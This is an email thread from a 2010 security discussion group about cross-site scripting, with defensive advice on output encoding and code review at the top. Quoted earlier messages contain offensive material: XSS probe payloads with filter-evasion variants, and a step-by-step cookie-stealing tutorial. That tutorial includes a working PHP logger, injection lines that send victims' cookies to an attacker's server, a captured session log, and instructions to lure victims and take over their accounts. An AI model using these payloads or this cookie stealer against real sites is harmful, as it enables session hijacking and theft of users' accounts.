Hi,
Here some of the prevention steps for XSS:
*Prevention of Cross Site Scripting*
The vast of majority of XSS attacks can be prevented by identifying the user
input locations within the web application and ensuring the source code
handling these has proper measures in place. From a developer’s perspective,
this means ensuring all data inputted from a user is properly encoded to
remove HTML and script markup to be replaced with text that all browsers can
process.
A simple example in C# is to use the HttpServerUtility.HtmlEncode method to
convert all HTML markup characters into their text equivalent. For example,
if a user were to supply the input for a textbox with the following, “This
is my <b>bolded text</b>.” The end result of the HtmlEncode method would
result in the following, “This is my lt;bolded textgt;.” This is important
because it removes HTML markup, which could be malicious. For example, “This
is my text. <script>alert(‘This is an attack’);</script>.” This example is
passing a JavaScript alert to open a modal popup on the screen to display to
the user.
In addition to HTML inputted data encoded on the server, encoding data on
the client can be equally important. JavaScript HTML elements can have two
attributes, InnerHTML and InnerText. InnerText will render text, not HTML,
so it is the safe option. InnerHTML can be used to inject an XSS attack
because it can render user inputted HTML, including script. Ensure InnerHTML
has the necessary string formatting to protect against this vulnerability.
Cookies are another vulnerability to XSS attacks. If any part of the website
issues cookies and an XSS access point is discovered, it is now possible to
steal cookies and private information from the application’s users. If the
cookie can be accessed, so can the information with it. Users can be
impersonated, and site credibility will be lost.
Encrypted web sites (SSL, HTTPS) are at risk just like their public
counterparts. SSL sites appear to be protected, but it is possible to
execute the same XSS attacks, they just happen over an encrypted connection.
To protect our web applications, we need to be aware of the XSS
vulnerabilities common to attackers and place defensive measures to ensure
user confidentiality and confidence. Without becoming an expert on XSS and
security, it is possible to develop safe, reliable applications by
understanding XSS and the vulnerabilities exposed by our applications.
**
*What to Look for in Source Code*
Execute a simple search in source code looking for certain keywords is a
good starting point. Many of the XSS bugs measures. Ensure HTML input is
properly encoded on the server using HtmlEncode. Ensure HTML input is
properly formatted on the client using string.Format and InnerText.
In source code and wherever, look for the following vulnerabilities.
- InnerHTML
- InnerText is not supported by all browsers but the two can be found
together. Look for where the strings are originating and if they are
properly formatted/encoded.
- SetInnerText()
- JavaScript’s Eval()
- assigning of strings to page titles, control titles, ect.
- Sometimes we take request object data and immediately process it and
render it on the client.
- Check the URL parameters passed in.
- The Request object
- Request.Params
- Request.Forms
- Request.QueryString
- Using HtmlTextWriter or any variation
- RenderBeginTag()
- AddAttribute()
- RenderEndTag()
- HtmlWriter.Write()
- Cookies
- Where are we using them and how are we handling them
Searching for these keywords within source will be a decent starting point
for discovering XSS vulnerabilities
**
*Microsoft Anti-Cross Site Scripting Library V3.0 Beta*
Feel free to use a Microsoft API designed for XSS prevention within your
code.
http://www.microsoft.com/downloads/details.aspx?FamilyId=051ee83c-5ccf-48ed-8463-02f56a6bfc09&displaylang=en
Regards,
Amardeep Thakur,
On Thu, May 20, 2010 at 1:54 PM, Sandeep Thakur <[email protected]>wrote:
> Also the answer includes appended list from Kishore. Only except error
> pages, all other things has to checked for XSS. Bcz error pages would not
> take any input from client(Say:malformed input like javascript) but displays
> stored error codes to the client. If these stored error codes or messages
> can be edited somehow, then yes, here also XSS exists....
>
> So now, when we have seen several ways of testing XSS. Lets also look at
> possible remediations and its outbreak again.
>
>
> Regards
> Sandeep Thakur
>
>
>
> On Thu, May 20, 2010 at 1:26 PM, Sandeep Thakur <[email protected]>wrote:
>
>> Ofcourse most applications on web are using "referrer". But, when you can
>> know cookie, why not the "referrer" using javascript? Try the below in any
>> opened windows' address bar:
>>
>> javascript: alert(document.referrer);
>>
>> Now that we are talking about impersonation with session belonging to
>> particular user, let me share one real good example which occurs mostly on
>> Orkut.
>>
>> In Orkut, sometimes when your system is infected with certain kind of
>> malware you see lot many advertisements or some illicit scraps are being
>> written to all your contacts in orkut. How is it possible?
>>
>> *Answer: Malware silently knows your active session in Orkut and then
>> know off about cookie / session parameters / other important information
>> like referrer and then start writing scraps. Again how does it write scraps?
>> It will just give the specially crafted javascript file input in the address
>> bar.*
>>
>> Hope this clarifies?
>>
>> And about the interview question of Naik, Probable answers are All
>> optional fields that returns back some or full information which you have
>> entered at the begining.. the answer should be: a,b,c,d
>>
>>
>>
>> Regards
>> Sandeep Thakur
>>
>>
>>
>> On Thu, May 20, 2010 at 8:25 AM, Phani <[email protected]>wrote:
>>
>>> But now a days most of the applications is using referer section to check
>>> whether the application is accessed as specified or not.
>>> For Ex. if you access the change password page of a site by
>>> directly pasting the URL& hijacked Session ID from the publicly available
>>> Login page, then the server looks into referer section to verify that the
>>> request coming is genuine or not, because the change password section can
>>> accessed by the logged-in user only.
>>>
>>> Correct me if Im wrong
>>>
>>>
>>> On Thu, May 20, 2010 at 11:15 AM, kishore kumar <[email protected]>wrote:
>>>
>>>> appending to the list:
>>>>
>>>> f) URL Parameters (http://abc.com?id=1 <http://abc.com/?id=1> (xss
>>>> script) )
>>>> g) all input feilds in application
>>>> h) all headers
>>>> i) hidden feilds
>>>>
>>>> On 20 May 2010 10:47, N41K <[email protected]> wrote:
>>>>
>>>>> I thought I can share some info of my technical interview.....
>>>>>
>>>>> The Question was " Does XSS occur in All the inputs field like input
>>>>> box / Address bar / etc..?"
>>>>> Answer (may be few are listed below)
>>>>> a) Search Field
>>>>> B) Comment Fields
>>>>> c) Feedback Forms
>>>>> d) Login Forms
>>>>> e) Error Pages
>>>>>
>>>>>
>>>>> Regards,
>>>>> 0xN41K
>>>>>
>>>>> On May 18, 9:42 pm, N41K <[email protected]> wrote:
>>>>> > Hi,
>>>>> >
>>>>> > There are many ways to check if the Site or Web Application is
>>>>> > Vulnerable to XSS. Few of them are stated below
>>>>> >
>>>>> > <script>alert("XSS")</script>
>>>>> > /<script>alert('XSS')</script>/
>>>>> > /\<script\>alert(\'XSS\')\<\/script\>http://mysite.org/folder/\<http://mysite.org/folder//>
>>>>> <sCRIPT>alert("d")</sCRIPT>\.plhttp://mysite.org/folder/\<http://mysite.org/folder//>
>>>>> <sCRIPT>alert('d')</sCRIPT>\.pl/\<sCRIPT>alert("d")</sCRIPT>\
>>>>> > \<sCRIPT>alert('d')</sCRIPT>\
>>>>> > /<\73CRIP\T>alert("dsf")<\/\73CRIP\T>
>>>>> > /<\73CRIP\T>alert('dsf')<\/\73CRIP\T>
>>>>> > /</sCRIP/T>alert("dsf")<///sCRIP/T>
>>>>> > /</sCRIP/T>alert('dsf')<///sCRIP/T>
>>>>> >
>>>>> > THe same above request can be sent using POST, which represents
>>>>> > after ? after mysite.org:
>>>>> >
>>>>> > http://mysite.org/?<script>alert("XSS")</script>http://mysite.org/
>>>>> ?<script>alert('XSS')</script>http://mysite.org/
>>>>> ?\<script\>alert(\'XSS\')\<\/script\>http://mysite.org/perl/
>>>>> ?\<sCRIPT>alert("d")</sCRIPT>\.plhttp://mysite.org/perl/
>>>>> ?\<sCRIPT>alert('d')</sCRIPT>\.plhttp://mysite.org/
>>>>> ?\<sCRIPT>alert("d")</sCRIPT>\http://mysite.org
>>>>> \?<sCRIPT>alert('d')</sCRIPT>\http://mysite.org/
>>>>> ?<\73CRIP\T>alert("dsf")<\/\73CRIP\T>http://mysite.org/
>>>>> ?<\73CRIP\T>alert('dsf')<\/\73CRIP\T>http://mysite.org/
>>>>> ?</sCRIP/T>alert("dsf")<///sCRIP/T>http://mysite.org/
>>>>> ?</sCRIP/T>alert('dsf')<///sCRIP/T>
>>>>> >
>>>>> > *** Also,The above tricks case be used to Test few Security Softwares
>>>>> > like WAF (Web Application Firewall) / IPS (Intrusion Prevention
>>>>> > System) or IDS.
>>>>> >
>>>>> > Regards,
>>>>> > 0xN41K
>>>>> >
>>>>> > On May 18, 9:17 pm, N41K <[email protected]> wrote:
>>>>> >
>>>>> > > So, Securing such application is very important. In order to do so,
>>>>> we
>>>>> > > need to take care of special functions which will not allow the
>>>>> Remote
>>>>> > > Attackers to Execute the Scripts and take advantage of it.
>>>>> >
>>>>> > > Lets see actually how an vulnerable code for XSS look like, then
>>>>> after
>>>>> > > that we'll secure the application by understanding the right line.
>>>>> >
>>>>> > > So, Vulnerable PHP code would be something like this...
>>>>> >
>>>>> > > <html>
>>>>> > > <head>
>>>>> > > <meta http-equiv="Content-Type" content="text/html;
>>>>> > > charset=iso-8859-1" />
>>>>> > > <title>Search result:</title>
>>>>> > > <style type="text/css">
>>>>> > > <!--
>>>>> > > body,td,th {
>>>>> > > color: #FFFFFF;}
>>>>> >
>>>>> > > body {
>>>>> > > background-color: #000000;}
>>>>> >
>>>>> > > -->
>>>>> > > </style></head>
>>>>> > > <body>
>>>>> > > <span class="alert">Search result :</span> <strong><?php echo
>>>>> > > $_POST['Vulnerability']; ?></strong>
>>>>> > > </body>
>>>>> > > </html>
>>>>> >
>>>>> > > Now the Secure Code for Vulnerable XSS will be:
>>>>> >
>>>>> > > <html>
>>>>> > > <head>
>>>>> > > <meta http-equiv="Content-Type" content="text/html;
>>>>> > > charset=iso-8859-1" />
>>>>> > > <title>Search result:</title>
>>>>> > > <style type="text/css">
>>>>> > > <!--
>>>>> > > body,td,th {
>>>>> > > color: #FFFFFF;}
>>>>> >
>>>>> > > body {
>>>>> > > background-color: #000000;}
>>>>> >
>>>>> > > -->
>>>>> > > </style></head>
>>>>> > > <body>
>>>>> > > <span class="alert">Search result :</span> <strong><?php
>>>>> > > if(isset($_POST['Vulnerability'])) { echo
>>>>> > > htmlentities($_POST['Vulnerability']); } ?></strong>
>>>>> > > </body>
>>>>> > > </html>
>>>>> >
>>>>> > > The only difference is the replacement of function; we tried to
>>>>> make
>>>>> > > it secure by using htmlspecialchars();
>>>>> >
>>>>> > > Regards,
>>>>> > > 0xN41K
>>>>> >
>>>>> > > On May 17, 9:10 am, kishore kumar <[email protected]> wrote:
>>>>> >
>>>>> > > > *Stealing Cookies With XSS* :
>>>>> >
>>>>> > > > Using XSS to Steal Cookies
>>>>> >
>>>>> > > > once u find out that a particular page is vulnerable to XSS
>>>>> injection, Now
>>>>> > > > what? You want to make it do something useful, like steal
>>>>> cookies. Cookie
>>>>> > > > stealing is when you insert a script into the page so that
>>>>> everyone that
>>>>> > > > views the modified page inadvertently sends you their session
>>>>> cookie. By
>>>>> > > > modifying your session cookie, you can impersonate any user who
>>>>> viewed the
>>>>> > > > modified page. So how do you use XSS to steal cookies?
>>>>> >
>>>>> > > > The easiest way is to use a three-step process consisting of the
>>>>> injected
>>>>> > > > script, the cookie recorder, and the log file.
>>>>> >
>>>>> > > > First you'll need to get an account on a server and create two
>>>>> files,
>>>>> > > > log.txt and cookiesteal.php. You can leave log.txt empty. This is
>>>>> the file
>>>>> > > > your cookie stealer will write to. Now paste this php code into
>>>>> your cookie
>>>>> > > > stealer script (cookiesteal.php):
>>>>> >
>>>>> > > > Code:
>>>>> >
>>>>> > > > <?php
>>>>> >
>>>>> > > > function GetIP()
>>>>> > > > {
>>>>> > > > if (getenv("HTTP_CLIENT_IP") &&
>>>>> strcasecmp(getenv("HTTP_CLIENT_IP"),
>>>>> > > > "unknown"))
>>>>> > > > $ip = getenv("HTTP_CLIENT_IP");
>>>>> > > > else if (getenv("HTTP_X_FORWARDED_FOR") &&
>>>>> > > > strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
>>>>> > > > $ip = getenv("HTTP_X_FORWARDED_FOR");
>>>>> > > > else if (getenv("REMOTE_ADDR") &&
>>>>> strcasecmp(getenv("REMOTE_ADDR"),
>>>>> > > > "unknown"))
>>>>> > > > $ip = getenv("REMOTE_ADDR");
>>>>> > > > else if (isset($_SERVER['REMOTE_ADDR']) &&
>>>>> $_SERVER['REMOTE_ADDR'] &&
>>>>> > > > strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
>>>>> > > > $ip = $_SERVER['REMOTE_ADDR'];
>>>>> > > > else
>>>>> > > > $ip = "unknown";
>>>>> > > > return($ip);
>>>>> >
>>>>> > > > }
>>>>> >
>>>>> > > > function logData()
>>>>> > > > {
>>>>> > > > $ipLog="log.txt";
>>>>> > > > $cookie = $_SERVER['QUERY_STRING'];
>>>>> > > > $register_globals = (bool) ini_get('register_gobals');
>>>>> > > > if ($register_globals) $ip = getenv('REMOTE_ADDR');
>>>>> > > > else $ip = GetIP();
>>>>> >
>>>>> > > > $rem_port = $_SERVER['REMOTE_PORT'];
>>>>> > > > $user_agent = $_SERVER['HTTP_USER_AGENT'];
>>>>> > > > $rqst_method = $_SERVER['METHOD'];
>>>>> > > > $rem_host = $_SERVER['REMOTE_HOST'];
>>>>> > > > $referer = $_SERVER['HTTP_REFERER'];
>>>>> > > > $date=date ("l dS of F Y h:i:s A");
>>>>> > > > $log=fopen("$ipLog", "a+");
>>>>> >
>>>>> > > > if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i",
>>>>> $ipLog))
>>>>> > > > fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent:
>>>>> > > > $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : }
>>>>> $date |
>>>>> > > > COOKIE: $cookie <br>");
>>>>> > > > else
>>>>> > > > fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent:
>>>>> > > > $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date
>>>>> | COOKIE:
>>>>> > > > $cookie \n\n");
>>>>> > > > fclose($log);
>>>>> >
>>>>> > > > }
>>>>> >
>>>>> > > > logData();
>>>>> >
>>>>> > > > ?>
>>>>> >
>>>>> > > > This script will record the cookies of every user that views it.
>>>>> >
>>>>> > > > Now we need to get the vulnerable page to access this script. We
>>>>> can do that
>>>>> > > > by modifying our earlier injection:
>>>>> >
>>>>> > > > Code:
>>>>> >
>>>>> > > > "><script language= "JavaScript">document.location="
>>>>> http://yoursite.com/cookiesteal.php?cookie="; +
>>>>> > > > document.cookie;document.location="http://www.whateversite.com
>>>>> "</script>
>>>>> >
>>>>> > > > yoursite.com is the server you're hosting your cookie stealer
>>>>> and log file
>>>>> > > > on, and whateversite.com is the vulnerable page you're
>>>>> exploiting. The above
>>>>> > > > code redirects the viewer to your script, which records their
>>>>> cookie to your
>>>>> > > > log file. It then redirects the viewer back to the unmodified
>>>>> search page so
>>>>> > > > they don't know anything happened. Note that this injection will
>>>>> only work
>>>>> > > > properly if you aren't actually modifying the page source on the
>>>>> server's
>>>>> > > > end. Otherwise the unmodified page will actually be the modified
>>>>> page and
>>>>> > > > you'll end up in an endless loop. While this is a working
>>>>> solution, we could
>>>>> > > > eliminate this potential issue when using source-modifying
>>>>> injections by
>>>>> > > > having the user click a link that redirects them to our stealer:
>>>>> >
>>>>> > > > Code:
>>>>> >
>>>>> > > > "><a href="#" onclick="document.location='
>>>>> http://yoursite.com/cookiesteal.php?cookie='
>>>>> > > > +escape(document.cookie);"><Click Me></a></script>
>>>>> >
>>>>> > > > This will eliminate the looping problem since the user has to
>>>>> cilck on it
>>>>> > > > for it to work, and it's only a one-way link. Of course, then the
>>>>> user's
>>>>> > > > trail ends at your cookie stealing script, so you'd need to
>>>>> modify that code
>>>>> > > > a little to keep them from suspecting what's going on. You Could
>>>>> just add
>>>>> > > > some text to the page saying something like "under construction"
>>>>> by changing
>>>>> > > > the end of our php script from this:
>>>>> >
>>>>> > > > Code:
>>>>> >
>>>>> > > > logData();
>>>>> > > > ?>
>>>>> >
>>>>> > > > to this:
>>>>> > > > Code:
>>>>> >
>>>>> > > > logData();
>>>>> >
>>>>> > > > echo '<b>Page Under Construction</b>'
>>>>> > > > ?>
>>>>> >
>>>>> > > > Now when you open log.txt, you should see something like this:
>>>>> >
>>>>> > > > Code:
>>>>> >
>>>>> > > > IP: 125.16.48.169 | PORT: 56840 | HOST: | Agent: Mozilla/5.0
>>>>> (X11; U; Linux
>>>>> > > > i686; en-US; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid)
>>>>> > > > Firefox/3.0.8 | METHOD: | REF: IFA :: Institute of Financial
>>>>> Advisers ::
>>>>> > > > Find An Adviser<
>>>>> http://www.mastiya.com/redirector.php?url=http%3A%2F%2Fwww.mastiya.co..
>>>>> .>|
>>>>> >
>>>>> > > > DATE: Tuesday 21st 2009f April 2009 05:04:07 PM | COOKIE:
>>>>> > > > cookie=PHPSESSID=889c6594db2541db1666cefca7537373
>>>>> >
>>>>> > > > You will most likely see many other fields besides PHPSESSID, but
>>>>> this one
>>>>> > > > is good enough for this example. Now if the applications session
>>>>> management
>>>>> > > > is not proper using the cookie value one can access the Victims
>>>>> account just
>>>>> > > > by replacing the cookie value (using a proxy like burp or
>>>>> paros).The server
>>>>> > > > thinks you're the user you stole the cookie from. This way you
>>>>> can log into
>>>>> > > > accounts and many other things without even needing to know the
>>>>> passwords or
>>>>> > > > usernames.
>>>>> >
>>>>> > > > Summary
>>>>> >
>>>>> > > > So in summary:
>>>>> > > > 1. Test the page to make sure it's vulnerable to XSS injections.
>>>>> > > > 2. Once you know it's vulnerable, upload the cookie stealer php
>>>>> file and log
>>>>> > > > file to your server.
>>>>> > > > 3. Insert the injection into the page via the url or text box.
>>>>> > > > 4. Grab the link of that page with your exploited search query
>>>>> (if injection
>>>>> > > > is not stored on the server's copy of the page).
>>>>> > > > 5. Get someone to use that link if necessary.
>>>>> > > > 6. Check your log file for their cookie.
>>>>> > > > 7. Replace your own cookie with the captured one and access the
>>>>> Victims
>>>>> > > > account.
>>>>> > > > *** Please do add points for this topic.
>>>>> >
>>>>> > > > On 16 May 2010 10:10, N41K <[email protected]> wrote:
>>>>> >
>>>>> > > > > Hi,
>>>>> >
>>>>> > > > > Further level of XSS........
>>>>> >
>>>>> > > > > Q. What can be done with XSS?
>>>>> > > > > Q. How severe can XSS effect?
>>>>> >
>>>>> > > > > The below inputs gives us a clarity what actually XSS is worth
>>>>> of!!!!!
>>>>> >
>>>>> > > > > Checkout the Principle methods of Defacing using XSS:
>>>>> >
>>>>> > > > > Defacement using Image:
>>>>> > > > > <IMG SRC="http://attackersite.com/malicious.png";>
>>>>> >
>>>>> > > > > Defacement using a Flash Video:
>>>>> > > > > <EMBED SRC="http://attackersite.com/malicious.swf";
>>>>> >
>>>>> > > > > Defacement
>>>>> >
>>>>> > ...
>>>>> >
>>>>> > read more »
>>>>>
>>>>> --
>>>>> You received this message because you are subscribed to the Google
>>>>> Groups "nforceit" group.
>>>>> To post to this group, send an email to [email protected].
>>>>> To unsubscribe from this group, send email to
>>>>> [email protected]<nforceit%[email protected]>
>>>>> .
>>>>> For more options, visit this group at
>>>>> http://groups.google.com/group/nforceit?hl=en-GB.
>>>>>
>>>>>
>>>>
>>>>
>>>> --
>>>> Regards,
>>>> kishore sangaraju
>>>>
>>>> --
>>>> You received this message because you are subscribed to the Google
>>>> Groups "nforceit" group.
>>>> To post to this group, send an email to [email protected].
>>>> To unsubscribe from this group, send email to
>>>> [email protected]<nforceit%[email protected]>
>>>> .
>>>> For more options, visit this group at
>>>> http://groups.google.com/group/nforceit?hl=en-GB.
>>>>
>>>
>>>
>>>
>>> --
>>> Phani
>>>
>>> --
>>> You received this message because you are subscribed to the Google Groups
>>> "nforceit" group.
>>> To post to this group, send an email to [email protected].
>>> To unsubscribe from this group, send email to
>>> [email protected]<nforceit%[email protected]>
>>> .
>>> For more options, visit this group at
>>> http://groups.google.com/group/nforceit?hl=en-GB.
>>>
>>
>>
> --
> You received this message because you are subscribed to the Google Groups
> "nforceit" group.
> To post to this group, send an email to [email protected].
> To unsubscribe from this group, send email to
> [email protected]<nforceit%[email protected]>
> .
> For more options, visit this group at
> http://groups.google.com/group/nforceit?hl=en-GB.
>
--
You received this message because you are subscribed to the Google Groups
"nforceit" group.
To post to this group, send an email to [email protected].
To unsubscribe from this group, send email to
[email protected].
For more options, visit this group at
http://groups.google.com/group/nforceit?hl=en-GB.
![http://attackersite.com/malicious.png"](http://attackersite.com/malicious.png"){kind=link}